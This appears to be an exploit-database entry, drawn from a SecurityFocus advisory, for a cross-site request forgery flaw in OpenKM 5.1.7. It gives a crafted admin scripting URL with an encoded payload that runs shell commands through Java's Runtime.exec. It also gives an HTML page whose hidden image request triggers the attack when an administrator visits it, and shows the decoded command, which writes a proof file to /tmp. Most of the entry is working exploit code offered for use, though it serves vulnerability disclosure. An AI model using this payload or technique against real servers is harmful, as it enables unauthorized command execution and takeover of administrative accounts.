OpenKM 5.1.7 - Cross-Site Request Forgery
Код:
source: https://www.securityfocus.com/bid/53602/info
OpenKM is prone to a cross-site request-forgery vulnerability.
Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected application.
OpenKM 5.1.7 is vulnerable; other versions may also be affected.
Login as administrator (having the AdminRole) and call the URL in a
different
browser window
http://www.example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3
D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%
2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B
Alternatively the administrator could browse a prepared HTML page in a
new tab
<html>
<body>
<script>
img = new Image();
img.src="http://www.example.com/OpenKM/admin/scripting.jsp?script=String%5B%
5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3
E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B"
</script>
</body>
</html>
The above exploit does nothing else than just creating a file in /tmp
String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned > /tmp/poc"};
Runtime.getRuntime().exec(cmd);
Some might also want to browse directories
